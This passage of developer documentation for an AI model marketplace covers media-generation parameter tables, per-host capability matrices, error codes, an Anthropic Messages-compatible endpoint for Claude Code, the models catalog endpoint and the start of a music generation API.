`input_images`) when omitted. | | `duration_seconds` | `integer` | `duration`, `seconds` | Accepts `5`, `"5"`, or `"5s"`; defaults to model default or shortest declared duration. | | `resolution` | `string` | `size` (via gated `/v1/videos`) | Case-normalized to model spelling (`480p`, `720p`, `1080p`, `4k`). | | `aspect_ratio` | `string` | `size` (via gated `/v1/videos`) | Defaults to `16:9` (or first declared ratio) on `text-to-video`; omitted on image-to-video unless required by host. | | `audio` | `boolean` | `generate_audio`, `sound` | Included only for models with configurable audio. | | `input_images` | `array` | `image`, `image_url`, `images`, `input_image`, `input_reference` | Start, end, or reference frames (`https://` URL or `data:` URI, max 8). | | `end_image_url` | `string` | `end_image` | Transition end frame (equivalent to `role: "end"` in `input_images`). | | `reference_image_urls` | `array` | - | Reference conditioning frames (`reference-to-video`). | | `video_url` | `string` | - | Required source video for `video-to-video` and `upscale` models. | ### Music Supported operation: `music`. See [Music Generations](https://www.surplusintelligence.ai/docs/api-reference/music-generations). | Canonical parameter | Type | Accepted aliases | Default / notes | | -------------------- | --------- | --------------------- | ------------------------------------------------------------------------------------------ | | `model` | `string` | - | Required. Canonical or aliased music model ID. | | `prompt` | `string` | - | Required. Default max length: 2,000 chars. | | `duration_seconds` | `integer` | `duration`, `seconds` | Accepts `30`, `"30"`, or `"30s"`; defaults to model default or shortest declared duration. | | `lyrics_prompt` | `string` | `lyrics` | Optional lyrics text for vocal-capable music models. | | `force_instrumental` | `boolean` | `instrumental` | Generate an instrumental track without vocals when supported. | ### Text-to-Speech (TTS) Supported operation: `tts`. See [Audio](https://www.surplusintelligence.ai/docs/api-reference/audio). Canonical OpenAI voices (mapped automatically when a model uses provider-native voice IDs): `alloy`, `nova`, `echo`, `fable`, `onyx`, `shimmer`, `ash`, `coral`, `sage`. | Canonical parameter | Type | Accepted aliases | Default / notes | | ------------------- | -------- | ---------------- | ----------------------------------------------------------------- | | `model` | `string` | - | Required. TTS model ID (query `GET /v1/models?type=tts`). | | `input` | `string` | - | Required. Default max length: 4,096 chars. | | `voice` | `string` | - | Model-native voice or one of the 9 canonical OpenAI voices above. | | `response_format` | `string` | - | `mp3`, `opus`, `aac`, `flac`, `wav`, or `pcm`. | | `speed` | `number` | - | Playback speed from `0.25` to `4.0`. | ### Speech-to-Text (STT) Supported operation: `stt`. See [Audio](https://www.surplusintelligence.ai/docs/api-reference/audio). | Canonical parameter | Type | Accepted aliases | Default / notes | | ------------------------- | -------- | ---------------- | --------------------------------------------------------------------------------------------------------- | | `file` | `file` | - | Required multipart upload (max 25 MB; `wav`, `mp3`, `mp4`, `m4a`, `mpeg`, `mpga`, `ogg`, `webm`, `flac`). | | `model` | `string` | - | Required. STT model ID (query `GET /v1/models?type=stt`). | | `language` | `string` | - | Optional ISO-639-1 language hint. | | `prompt` | `string` | - | Optional conditioning prompt (default max length: 2,000 chars). | | `response_format` | `string` | - | `json` (default), `text`, `srt`, `vtt`, or `verbose_json`. | | `temperature` | `number` | - | Sampling temperature (`0` to `1`). | | `timestamp_granularities` | `array` | `timestamps` | Optional segment/word timestamp granularities when supported. | ### Embeddings Supported operation: `embedding`. See [Embeddings](https://www.surplusintelligence.ai/docs/api-reference/embeddings). | Canonical parameter | Type | Accepted aliases | Default / notes | | ------------------- | ---------------------- | ---------------- | --------------------------------------------------------------------- | | `model` | `string` | - | Required. Embedding model ID (query `GET /v1/models?type=embedding`). | | `input` | `string` or `string[]` | - | Required text or batch of strings to embed. | | `encoding_format` | `string` | - | `float` (default) or `base64`. | | `dimensions` | `integer` | - | Optional output embedding dimensionality when supported. | ## Per-Host Capability Matrix Built from `MEDIA_PROVIDER_DESCRIPTORS`, `listMediaParamContractDescriptors()`, `MEDIA_MODEL_REGISTRY`, and the committed capability manifests (`2026-11-24-media-manifest-baseline.json` + `2026-11-24-orbio-manifest.json`), covering all eight live media hosts. Individual models expose exact per-host differences in `GET /v1/models` under `hosts[].honored_diff`. ### Provider Hosts and Supported Endpoints | Host | Provider | Supported endpoints | Input-image forms | Modes | Contracted models | Catalog models | | ----------------------------------- | ---------------- | ----------------------------------------------------------------------------------------------------------------------- | -------------------------- | --------------- | ----------------- | -------------- | | `api.akashml.com` | AkashML | `image.edit`, `image.generate` | `bytes`, `data-uri`, `url` | `sync` | 0 | 1 | | `api.inferhub.dev` | InferHub | `image.edit`, `image.generate`, `video.generate` | `data-uri` | `sync`, `async` | 2 | 4 | | `api.maxlatent.xyz` | MaxLatent | `video.generate` | `url` | `async` | 2 | 2 | | `api.mordiem.com` | Mordiem | `audio.speech`, `audio.transcription`, `embeddings`, `image.edit`, `image.generate`, `music.generate`, `video.generate` | `bytes`, `data-uri`, `url` | `sync`, `async` | 230 | 46 | | `api.openai.com` | OpenAI | `image.edit`, `image.generate` | `data-uri`, `url` | `sync` | 0 | 1 | | `api.orbio.so` | Orbio | `image.generate` | - | `sync` | 6 | 0 | | `api.uncensored.com` | Uncensored AI | `image.edit`, `video.generate` | `url` | `async` | 45 | 25 | | `api.venice.ai` | Venice AI | `audio.speech`, `audio.transcription`, `embeddings`, `image.edit`, `image.generate`, `music.generate`, `video.generate` | `bytes`, `data-uri`, `url` | `sync`, `async` | 218 | 214 | | `generativelanguage.googleapis.com` | Google AI Studio | `image.generate` | - | `sync` | 1 | 1 | | `openrouter.ai` | OpenRouter | `image.edit`, `image.generate`, `video.generate` | `data-uri`, `url` | `sync`, `async` | 31 | 28 | ### Host Parameter-Contract Coverage | Host | Contracted models | Honored durations (s) | Honored resolutions | Honored aspect ratios | Honored sizes | Configurable audio models | | ----------------------------------- | ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------- | ------------------------------------------------------------- | ------------------------- | | `api.inferhub.dev` | 2 | - | - | - | `1024x1024`, `1024x1536`, `1024x768`, `1536x1024`, `768x1024` | 0 | | `api.maxlatent.xyz` | 2 | `8` | `1080p`, `720p` | `16:9`, `9:16` | - | 0 | | `api.mordiem.com` | 230 | `1`, `2`, `3`, `4`, `5`, `6`, `7`, `8`, `9`, `10`, `11`, `12`, `13`, `14`, `15`, `16`, `17`, `18`, `19`, `20`, `21`, `22`, `23`, `24`, `25`, `26`, `27`, `28`, `29`, `30` | `1080p`, `1080P`, `1440p`, `1K`, `1x`, `2160p`, `2k`, `2K`, `2x`, `360p`, `480p`, `480P`, `4k`, `4K`, `4x`, `540p`, `580p`, `720p`, `768P` | `1:1`, `16:9`, `2:3`, `21:9`, `3:2`, `3:4`, `4:3`, `4:5`, `5:4`, `9:16`, `9:21`, `adaptive`, `auto` | `1024x1024`, `1024x1536`, `1024x768`, `1536x1024`, `768x1024` | 59 | | `api.orbio.so` | 6 | - | `1K`, `2K`, `4K` | `1:1`, `16:9`, `2:3`, `21:9`, `3:2`, `3:4`, `4:5`, `9:16` | `1024x1024`, `1024x1536`, `1024x768`, `1536x1024`, `768x1024` | 0 | | `api.uncensored.com` | 45 | `2`, `3`, `4`, `5`, `6`, `7`, `8`, `9`, `10`, `11`, `12`, `13`, `14`, `15`, `16`, `18`, `20` | `1080p`, `1440p`, `1x`, `2160p`, `2k`, `2x`, `480p`, `4k`, `4x`, `580p`, `720p` | `1:1`, `16:9`, `2:3`, `21:9`, `3:2`, `3:4`, `4:3`, `9:16`, `auto` | - | 9 | | `api.venice.ai` | 218 | `1`, `2`, `3`, `4`, `5`, `6`, `7`, `8`, `9`, `10`, `11`, `12`, `13`, `14`, `15`, `16`, `17`, `18`, `19`, `20`, `21`, `22`, `23`, `24`, `25`, `26`, `27`, `28`, `29`, `30` | `1080p`, `1080P`, `1440p`, `1K`, `1x`, `2160p`, `2k`, `2K`, `2x`, `360p`, `480p`, `480P`, `4k`, `4K`, `4x`, `540p`, `580p`, `720p`, `768P`, `true_1080p` | `1:1`, `16:9`, `2:3`, `21:9`, `3:2`, `3:4`, `4:3`, `4:5`, `5:4`, `9:16`, `9:21`, `adaptive`, `auto` | `1024x1024`, `1024x1536`, `1024x768`, `1536x1024`, `768x1024` | 65 | | `generativelanguage.googleapis.com` | 1 | - | `1K`, `2K`, `4K` | `1:1`, `16:9`, `2:3`, `3:2`, `3:4`, `4:3`, `9:16` | - | 0 | | `openrouter.ai` | 31 | `1`, `2`, `3`, `4`, `5`, `6`, `7`, `8`, `9`, `10`, `11`, `12`, `13`, `14`, `15`, `16`, `17`, `18`, `19`, `20`, `21`, `22`, `23`, `24`, `25`, `26`, `27`, `28`, `29`, `30` | `1080p`, `1K`, `2K`, `360p`, `480p`, `4k`, `4K`, `720p` | `1:1`, `16:9`, `2:3`, `21:9`, `3:2`, `3:4`, `4:3`, `4:5`, `9:16`, `auto` | `1024x1024`, `1024x1536`, `1024x768`, `1536x1024`, `768x1024` | 15 | ## Response Headers and Async Body Fields Headers below are separated by rollout mode and surface. `X-SI-Resolved-Params` (`enforce` only) and `X-SI-Deprecation` (`shadow` only) are mutually exclusive; async media endpoints report adapted parameters in the JSON response body (`adapted_params`), not in an `X-SI-Adapted-Params` header. | Signal | Scope / Rollout mode | Placement | Value | | ---------------------- | ---------------------------------------------------------------------------------------------------- | ------------------------ | ----------------------------------------------------------------------------------------------- | | `X-SI-Model-Alias` | Unconditional (sync & async, whenever an alias resolves) | Response header | The originally requested model alias string | | `Idempotency-Replayed` | Unconditional (whenever a duplicate request replays) | Response header | `true` | | `X-SI-Adapted-Params` | Sync-only (images, audio, embeddings; when aliases translate or knobs are stripped) | Response header | Comma-separated list of adapted parameter names | | `X-SI-Resolved-Params` | Enforce-only (`MEDIA_STANDARDIZATION_MODE=enforce`, sync & async submit) | Response header | Compact sorted `k=v,...` list of resolved canonical parameters (max 256 bytes) | | `X-SI-Deprecation` | Shadow-only (`MEDIA_STANDARDIZATION_MODE=shadow`, sync & async submit with unknown/unhonored params) | Response header | `299 - "Deprecated or unsupported media parameters: ..."` (never emitted for permanent aliases) | | `adapted_params` | Async-only (`202` submit on video/music when params are adapted or stripped) | JSON response body field | Sorted array of adapted parameter names (async counterpart of `X-SI-Adapted-Params`) | ## Structured Error Taxonomy Every error code below is verified against live `SurplusError` throw sites in the backend codebase. Branch on `error.code` (and `retryable` where present on async media jobs). | Status | Code | Retryable | Meaning | | ------ | -------------------------------- | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `400` | `invalid_request` | `false` | Malformed request body, missing required parameter, or prompt/input exceeding the character ceiling. | | `400` | `invalid_request_error` | `false` | Missing multipart `file`, unsupported audio MIME/extension, or upload exceeding the 25 MB transcription limit. | | `400` | `file_too_large` | `false` | Multipart upload exceeds the hard file-size limit. | | `400` | `unsupported_parameter` | `false` | Unknown or unmapped parameter key sent for the modality under standardization enforce. | | `400` | `unsupported_parameter_value` | `false` | Parameter value is outside the model contract domain (`operation`, `duration_seconds`, `resolution`, `aspect_ratio`, `size`, `response_format`). | | `400` | `unsupported_provider_value` | `false` | Value is in the model domain, but no routable host honors it (error details include `param`, `allowed`, and `hosts`). | | `400` | `unsupported_voice` | `false` | Requested TTS `voice` is neither natively supported nor mappable from the 9 canonical OpenAI voices. | | `400` | `unsupported_image_count` | `false` | Requested image count `n` exceeds the model or routable host limit. | | `400` | `unsupported_image_size` | `false` | No routable seller can express the requested image `size`. | | `400` | `unsupported_image_resolution` | `false` | Requested image `resolution` tier is not supported by the model. | | `400` | `unsupported_image_aspect_ratio` | `false` | Requested image `aspect_ratio` is not supported by the model. | | `400` | `unsupported_response_format` | `false` | Requested output format is unsupported or pre-settlement audio transcoding failed. | | `400` | `invalid_image_input` | `false` | Source image is not an `https://` URL or `data:` URI, or uses an unsupported `file_id` reference. | | `400` | `image_required` | `false` | Image-edit or image-to-video-only model called without a usable source image. | | `400` | `video_required` | `false` | Video-to-video or video-upscale model called without a source `video_url`. | | `400` | `too_many_input_images` | `false` | More than 8 source images were provided in a single request. | | `400` | `mask_not_supported` | `false` | Masked inpaint edits (`mask` or `mask_url`) are not supported. | | `401` | `invalid_api_key` | `false` | Supplied API key is invalid or revoked. | | `402` | `insufficient_credit` | `false` | Account balance cannot cover the estimated cost or async reservation ceiling. | | `402` | `account_frozen` | `false` | Paying account is frozen or under review. | | `404` | `model_not_found` | `false` | Requested model ID is not present in the media catalog. | | `404` | `no_sellers_for_model` | `false` | No listed seller can serve this model on this endpoint. | | `404` | `minimum_discount_not_met` | `false` | No eligible healthy seller meets the `/min{N}` discount floor. | | `404` | `artifact_expired` | `false` | Completed media artifact is past its retention window. | | `409` | `idempotency_key_reused` | `false` | `Idempotency-Key` was already used with a different request payload under `MEDIA_IDEMPOTENCY_STRICT_MODE=enforce` (`409` on async media submit, `422` on idempotent sync routes); while `off`, reusing a key replays the original response. | | `502` | `provider_error` | `true` | Upstream provider failed after healthy failover candidates were exhausted. | | `502` | `artifact_hosting_failed` | `true` | Generated image artifact could not be hosted for URL delivery; the buyer is not charged. | | `503` | `sellers_unavailable` | `true` | All candidate sellers were unhealthy, rate-limited, or failed under standardization enforce (`Retry-After` emitted). | | `503` | `no_healthy_sellers` | `true` | Sellers exist for the model, but none is currently healthy or able to accept the input. | --- # /docs/api-reference/messages # Anthropic Messages API ("Anthropic Skin") > **For Claude Code / Anthropic SDK users:** see the step-by-step [Claude Code Setup](https://www.surplusintelligence.ai/docs/guides/claude-code-setup) guide. Surplus speaks Anthropic's Messages API natively, so tools built for Anthropic - **Claude Code** and the **Anthropic Agent SDK** - can route through the marketplace with nothing but environment variables. No local proxy, no client-side translation. This is the same idea as OpenRouter's "Anthropic skin": point the Anthropic client's base URL at Surplus, authenticate with a Surplus buyer key, and every request is routed to the cheapest healthy seller and settled on-chain like any other marketplace call. It is **model-agnostic**. Routing is by the `model` string, not by family - so you can run Claude Code on Claude **or** GPT, GLM, Llama, Gemini, DeepSeek, or any other catalog model, all through the Anthropic wire. ## Base URL ```text https://api.surplusintelligence.ai/anthropic ``` This is what you set as `ANTHROPIC_BASE_URL`. The Anthropic client appends `/v1/messages` (and the other paths below) to it. The skin lives under a dedicated `/anthropic` prefix so it never collides with the OpenAI-compatible surface at `/v1/...`. ## Authentication Use a Surplus buyer API key (`inf_…`), sent either way the Anthropic ecosystem sends it: | Header | Set via | Notes | | ------------------------------- | ---------------------- | ------------------------- | | `Authorization: Bearer inf_xxx` | `ANTHROPIC_AUTH_TOKEN` | What Claude Code uses | | `x-api-key: inf_xxx` | `ANTHROPIC_API_KEY` | The Anthropic SDK default | Always set `ANTHROPIC_API_KEY=""` when using `ANTHROPIC_AUTH_TOKEN`, or the cached Anthropic credential can take precedence. An unauthenticated or non-buyer request returns an Anthropic-shaped **401 `authentication_error`** (the skin does not issue x402 402 challenges - Claude Code can't satisfy them; use a buyer key with credits). In: **Anthropic Messages wire** → **Canonical routing** (same order book, any model) → out: **Anthropic Messages wire**. Identical on both sides - only the middle differs. Your request goes in Anthropic-shaped and comes back Anthropic-shaped. Only the middle is ours - which is why you can route ANY model this way, not just Claude. ## Endpoints (under `/anthropic`) | Method | Path | Description | | ------ | ------------------------------------- | ----------------------------------------------------------- | | POST | `/anthropic/v1/messages` | Send a message; non-streaming or streaming (SSE) | | POST | `/anthropic/min{N}/v1/messages` | Same, but only route to sellers ≥ N% cheaper than reference | | POST | `/anthropic/v1/messages/count_tokens` | Estimate input tokens for a request | | GET | `/anthropic/v1/models` | List models (Anthropic shape) | | GET | `/anthropic/v1/models/{id}` | Retrieve one model | ## Send a Message POST /anthropic/v1/messages ### Parameters - `model` (required): Any catalog model (canonical, `-latest` alias, dated Anthropic ID, or `~anthropic/…`) - `max_tokens` (required): Maximum output tokens (required by the Anthropic API) - `messages` (required): Array of messages; `content` is a string or content blocks (text, image, tool\_use, tool\_result, thinking) - `system`: System prompt - a string, or an array of text blocks (with `cache_control`) - `temperature, top_p, top_k`: Sampling controls - `stop_sequences`: Custom stop sequences - `stream`: `true` for SSE streaming - `tools`: Tool definitions (`name`, `description`, `input_schema`) - `tool_choice`: `auto` / `any` / `{type:"tool",name}` / `none` - `thinking`: `{type:"enabled", budget_tokens}` (or `adaptive`) - extended thinking - `metadata`: `{user_id}` - passed through as the OpenAI `user` field - `provider`: Provider pin / allow-list - a string, `string[]`, or the OpenRouter `{order|only:[...]}` object - `provider_base_url`: Pin to a specific provider host (matched against the marketplace allowlist) - `providers_blocked`: Providers to **refuse** - a string or `string[]`, matched on family or host. The deny-list counterpart of `provider`. An unreadable value is refused with `400`, never silently ignored. See [Routing Controls](https://www.surplusintelligence.ai/docs/marketplace/routing-controls) - `provider_order`: Preferred **attempt order** by provider, most-preferred first. Ordering only, never eligibility. See [Routing Controls](https://www.surplusintelligence.ai/docs/marketplace/routing-controls) - `min_discount_pct`: Minimum discount (0-100) below the go-direct reference price - offers under it are excluded. Also settable per key, or via the `X-Min-Discount` header. Request and version/beta headers (`anthropic-version`, `anthropic-beta`) are accepted; version/beta are tolerated and ignored (never required). The non-streaming response is a standard Anthropic `Message`. `content` blocks may be `text`, `tool_use`, or `thinking`. `stop_reason` is `tool_use` if and only if a `tool_use` block is present. `usage.input_tokens` is net of cache (`cache_read_input_tokens` / `cache_creation_input_tokens` are reported separately when the provider supplies them). **Send a message** **cURL** ```bash curl https://api.surplusintelligence.ai/anthropic/v1/messages \ -H "x-api-key: inf_xxx" \ -H "anthropic-version: 2023-06-01" \ -H "Content-Type: application/json" \ -d '{ "model": "claude-opus-4.8", "max_tokens": 1024, "system": "You are concise.", "messages": [{"role": "user", "content": "Hello!"}] }' ``` **Response** ```json { "id": "msg_…", "type": "message", "role": "assistant", "model": "claude-opus-4.8", "content": [{"type": "text", "text": "Hello!"}], "stop_reason": "end_turn", "stop_sequence": null, "usage": {"input_tokens": 12, "output_tokens": 3} } ``` ### Streaming With `"stream": true`, the response is the standard Anthropic SSE event sequence: ```text event: message_start → the Message skeleton event: content_block_start → per content block (text / thinking / tool_use) event: content_block_delta → text_delta / thinking_delta / signature_delta / input_json_delta event: content_block_stop event: message_delta → stop_reason + reported usage (or zero placeholder) event: message_stop ``` Usage needs no separate opt-in on this wire. `message_start.usage` is a four-field zero placeholder because final counts are not known when the stream opens. When the seller reports usage, `message_delta.usage` carries the cumulative counts; otherwise all four fields are a zero placeholder and `GET /v1/requests/{id}` is authoritative. `buyer_cost_micro` is included only when the request has a known priced charge; when the charge is unknown, the field is omitted. ## Count Tokens POST /anthropic/v1/messages/count\_tokens Returns an estimate (includes the system prompt and tool schemas). This is a heuristic estimate (no upstream round-trip); it is sufficient for context-budget sizing. **Count tokens** **cURL** ```bash curl https://api.surplusintelligence.ai/anthropic/v1/messages/count_tokens \ -H "x-api-key: inf_xxx" -H "Content-Type: application/json" \ -d '{"model":"claude-opus-4.8","messages":[{"role":"user","content":"Hello"}]}' ``` **Response** ```json { "input_tokens": 14 } ``` ## List Models GET /anthropic/v1/models Anthropic-shaped model list, served from the Surplus catalog (lists **all** marketplace models, not just Claude). **List models** ```json { "data": [{"id": "claude-opus-4.8", "type": "model", "display_name": "Claude Opus 4.8", "created_at": "2025-01-01T00:00:00.000Z"}], "has_more": false, "first_id": "…", "last_id": "…" } ``` ## Errors Errors on `/anthropic/*` use the Anthropic envelope: ```json { "type": "error", "error": { "type": "invalid_request_error", "message": "…" }, "request_id": "…" } ``` | HTTP | `error.type` | When | | ---- | -------------------------------- | ---------------------------------------------------------- | | 400 | `invalid_request_error` | Bad request / malformed JSON / out-of-credit | | 401 | `authentication_error` | Missing or invalid buyer key | | 404 | `not_found_error` | Unknown model id, or no sellers under your price threshold | | 429 | `rate_limit_error` | Rate limited | | 413 | `request_too_large` | Body exceeds the size limit | | 5xx | `api_error` / `overloaded_error` | Upstream/provider error, or no healthy sellers | There is no Anthropic 402 - an out-of-credit buyer gets a 400 `invalid_request_error` (mirroring Anthropic's "credit balance too low" behavior). Assistant prefill (a `messages` list whose last entry is an `assistant` turn) works on most models. Models whose providers all reject assistant prefill may refuse such a request up front with a 400 `invalid_request_error`, before anything is held or sent, whose message asks you to end `messages` with a user turn. A trailing assistant message with no text (empty or whitespace only) is not prefill: it is dropped before the request is sent, as before. A **long-running non-streaming request is the exception to this table**: its status is committed before the outcome is known, so it always returns `200` with the Anthropic error envelope in the body. Branch on `type: "error"` in the body rather than on the status alone. See [Long-running responses](https://www.surplusintelligence.ai/docs/reference/long-running-responses). ## Model names & aliases Send any catalog model id. The skin additionally resolves: - `-latest` tags: `claude-opus-latest`, `claude-sonnet-latest`, `claude-haiku-latest`, plus cross-family `gpt-latest`, `glm-latest`, `deepseek-latest`, `gemini-latest`, and more. - Dated Anthropic IDs (e.g. `claude-sonnet-4-5-20250929`) → canonical. - The OpenRouter `~anthropic/…` floating-tag prefix. A model must exist in the catalog **and** have a healthy offer to route; otherwise you get an Anthropic-shaped 404/`overloaded_error`. Call `GET /anthropic/v1/models` for the catalog and `GET /api/markets` for models with live seller liquidity. ## Feature fidelity on non-Claude models The wire is fully translated, but some Anthropic features are model-dependent: - **Works on every model:** text, system prompt, multi-turn, streaming, tool use (`tool_use`/`tool_result`), images, stop reasons, usage/billing. - **Best-effort:** extended **thinking** - non-Claude models don't emit Anthropic `thinking` blocks; the field is accepted and the request still works, but no reasoning blocks are returned. Thinking-signature continuity across multi-turn tool loops is preserved on providers that echo signatures and degrades gracefully elsewhere. ## Routing controls Everything the marketplace offers applies here too: provider pinning / allow-lists, `provider_base_url`, the minimum-discount floor (per key, `X-Min-Discount`, or the `/anthropic/min{N}/v1/messages` mirror), and the buyer's trusted-only / allow-untrusted preference. See [Minimum-Discount Routing](https://www.surplusintelligence.ai/docs/marketplace/minimum-discount-routing) and [BYOK / Priority Provider](https://www.surplusintelligence.ai/docs/guides/byok-priority-provider). --- # /docs/api-reference/models # Models GET /v1/models ## Request Returns all available models with pricing, context lengths, and capabilities. OpenRouter-compatible format. No authentication required. Pricing is in per-token strings (multiply by 1M for $/1M tokens rate). Cached for 60 seconds. Media models carry `pricing.image`, a USD string per `pricing.media_unit`. Resolution-tiered video models include `pricing.media_price_by_resolution` (`resolution`, `per_second_usd`) or `pricing.media_job_price_by_resolution` (`resolution`, `per_job_usd`), and clip-length-priced models include `pricing.media_price_by_duration` (`seconds`, `per_clip_usd`) with `pricing.media_unit_seconds`. All tiered media models also expose a unified `pricing.tiers` array (`resolution`, `duration_sec`, `quality`, `unit`, `usd`). ### Query Parameters - `type` (string): Optional comma-separated model type filter (case-insensitive union): `text` (`chat`), `image`, `video`, `music`, `tts` (`speech`), `stt` (`transcription`), `audio` (matches `tts`, `stt`, and `music`), `embedding` (`embeddings`), `decisions` - `modality` (string): Optional comma-separated modality filter: an arrow form such as `text->video` matches `architecture.modality` exactly, while a bare token such as `image` or `audio` matches either `input_modalities` or `output_modalities` When both `type` and `modality` are provided, they are combined with logical AND (applied after any buyer API key model scope). **GET /v1/models** **cURL** ```bash curl https://api.surplusintelligence.ai/v1/models ``` **Filtered** ```bash curl "https://api.surplusintelligence.ai/v1/models?type=video&modality=image" ``` **Response** ```json { "data": [ { "id": "claude-opus-4.6", "name": "Claude Opus 4.6", "context_length": 200000, "max_completion_tokens": 32000, "pricing": { "prompt": "0.000015", "completion": "0.000075" }, "architecture": { "input_modalities": ["text"], "output_modalities": ["text"] }, "supported_parameters": ["temperature", "top_p", "tools", "stream", "reasoning", "include_reasoning"], "reasoning": { "mandatory": false, "default_enabled": false, "supported_efforts": ["low", "medium", "high"], "default_effort": "medium", "supports_max_tokens": true }, "top_provider": { "max_completion_tokens": 32000 } } ] } ``` ## Reading Capabilities `GET /v1/models` is the capability surface for everything that varies by model. Four fields carry it: | Field | Carries | | ------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `architecture.input_modalities` | What the model accepts: `text`, `image`, `video`, `file`, `audio` | | `supported_features` | Coarse capability labels: `vision`, `file_input`, `reasoning`, `tools`, `streaming`, `prompt_caching`, and others | | `supported_parameters` | The request knobs the model takes, including `reasoning`, `reasoning_effort`, `include_reasoning`, `tools`. On Chat Completions, `include_reasoning` is translated to `reasoning: { enabled: true }` / `{ exclude: true }` when `reasoning` is absent, with explicit `reasoning.exclude` taking precedence ([Reasoning Controls](https://www.surplusintelligence.ai/docs/reference/reasoning)) | | `reasoning` | Optional structured reasoning capabilities (`mandatory`, `default_enabled`, `supported_efforts`, `default_effort`, `supports_max_tokens`), populated from catalog metadata and omitted when absent | | `operations` | Canonical media operations supported by the model (for example `generate`, `edit`, `text-to-video`, `image-to-video`, `reference-to-video`, `first-last-frame`, `video-to-video`, `upscale`, `extend`, `music`, `tts`, `stt`, `embedding`) | | `params` | Per-parameter contract specifications for media models (`type`, `values`, `default`, `priced`, `required`) | | `hosts` | Per-host capability entries for media models (`provider`, `host`, `honored_diff`, `pricing_unit`, `default_duration_sec`), surfacing only dimensions where a host differs from the model-level union | | `pricing.tiers` | Unified USD pricing tiers across `resolution`, `duration_sec`, and `quality` axes (`unit`: `second`, `job`, `clip`, `image`, `megapixel`) | See [Media Capabilities and Contracts](https://www.surplusintelligence.ai/docs/api-reference/media-capabilities.generated) for the generated summary of canonical media parameters, host coverage, and error codes. ### Reasoning Capabilities When catalog metadata carries structured reasoning capabilities for a text model, the model row exposes an optional `reasoning` object (also returned on `GET /v1/models/{id}`): | Sub-field | Type | Meaning | | --------------------- | ----------------------------- | --------------------------------------------------------------------------- | | `mandatory` | `boolean` (optional) | Whether reasoning is always enabled on this model | | `default_enabled` | `boolean` (optional) | Whether reasoning is enabled by default when no reasoning parameter is sent | | `supported_efforts` | `string[] \| null` (optional) | Effort levels supported by the model, or `null` when explicitly unreported | | `default_effort` | `string \| null` (optional) | Default effort level used when effort is omitted, or `null` | | `supports_max_tokens` | `boolean` (optional) | Whether the model supports an explicit `reasoning.max_tokens` budget | `reasoning` is **omitted completely** on non-reasoning models, media models, and rows whose catalog metadata does not carry it. Absent optional sub-fields inside `reasoning` are omitted rather than defaulted or inferred. For how requests and responses behave across providers, see the [Output Specification](https://www.surplusintelligence.ai/docs/reference/output-spec) and [Reasoning Controls](https://www.surplusintelligence.ai/docs/reference/reasoning). **Check `input_modalities` and `supported_features` together for image input.** They disagree on a meaningful number of rows (`claude-opus-5` declares `vision` while its `input_modalities` still reads `["text"]`), and the router treats a model as image-capable when either says so. ```bash # Models that accept image input, by either signal curl -s https://api.surplusintelligence.ai/v1/models \ | jq -r '.data[] | select(((.architecture.input_modalities // []) | index("image")) or ((.supported_features // []) | index("vision"))) | .id' # Models that publish structured reasoning capabilities curl -s https://api.surplusintelligence.ai/v1/models \ | jq '.data[] | select(.reasoning != null) | {id, reasoning}' ``` `top_provider.max_completion_tokens` is never more than half of `context_length`. Some sellers serve a model with a smaller window than `context_length`, so a request sized from these numbers can still overflow one. When the seller's error says how much of the window the prompt took, the output budget is adjusted and the request retried (see [Parameter Compatibility](https://www.surplusintelligence.ai/docs/reference/parameter-compatibility)). These values describe the **model**, not the individual seller offer that serves a given request. See [Media Inputs](https://www.surplusintelligence.ai/docs/guides/media-inputs), [Reasoning Controls](https://www.surplusintelligence.ai/docs/reference/reasoning), [Output Specification](https://www.surplusintelligence.ai/docs/reference/output-spec), and [Provider & Model Verification](https://www.surplusintelligence.ai/docs/marketplace/provider-verification). **Capability fields can disagree across legacy rows** - input\_modalities (what it can be fed) - supported\_features (streaming, tools, reasoning) - supported\_parameters (the knobs it honours) - reasoning (efforts, defaults, and token budgets (when populated)) Treat input\_modalities and supported\_features as an OR, not an AND, and inspect the optional reasoning object for per-model reasoning capabilities. A model may also carry `logo_url`, the absolute `https` URL of its logo image. The field is optional: it is absent when the model has no logo, so keep a fallback icon of your own. ## Provider Allowlist GET /v1/providers The curated provider allowlist, unauthenticated and cached for 5 minutes. Each entry carries `id`, `name`, `base_url`, `host`, `trusted`, and a `cost_reference_url` pointing at that provider's own published pricing. `trusted` is the flag the default trusted-only routing preference filters on. ## Current Counts Catalog size and the number of models with live offers both change as models are onboarded and seller liquidity moves. Use the endpoint response as the source of truth - this page prints no snapshot. --- # /docs/api-reference/music-generations # Music Generations > **Minimum-discount routing:** Prefix the path with a `min{N}` segment (e.g. `/min30/v1/music/generations`) to require marketplace seller offers to meet a minimum estimated buyer discount before routing. Buyer-owned providers are not covered. See [Minimum-Discount Routing](https://www.surplusintelligence.ai/docs/marketplace/minimum-discount-routing). Async music and text-to-audio generation via the marketplace. Same flow as video: submit, poll, retrieve. ## Submit Job POST /v1/music/generations **Auth:** API key required (`Authorization: Bearer ***`). - `model` (string, required): Model ID, e.g. `venice-ace-step-15`; legacy `venice-music-gen` maps to ACE-Step (`X-SI-Model-Alias`). Query `GET /v1/models?type=music` for the live catalog - `prompt` (string, required): Prompt or narration text (default ceiling: 2,000 chars) - `duration_seconds` (integer): Track/audio duration (`duration` and `seconds` accepted as permanent aliases). Omitted values use the model's default or shortest declared duration - `lyrics_prompt` (string): Lyrics text (`lyrics` accepted as a permanent alias) for models that support lyrics - `force_instrumental` (boolean): Generate without vocals when supported (`instrumental` accepted as a permanent alias) - `voice` (string): Voice selection for TTS-like audio models - `language_code` (string): Language for lyrics or speech models when supported - `webhook_url` (string): Accepted and validated, but **not delivered yet** - terminal-state callbacks are not enabled in production. Poll instead - `metadata` (object): Client pass-through metadata **Idempotency, response headers & body signals:** Include `Idempotency-Key` to prevent duplicate submissions (replays return `Idempotency-Replayed: true`; mismatched payloads return `409 idempotency_key_reused` only when `MEDIA_IDEMPOTENCY_STRICT_MODE=enforce`, and replay the original job while `off`). Unconditional headers: `X-Request-Id`, `X-SI-Model-Alias` (when an alias resolves), and `Idempotency-Replayed` (on replay). Rollout-gated headers (mutually exclusive): `X-SI-Resolved-Params` (`MEDIA_STANDARDIZATION_MODE=enforce` 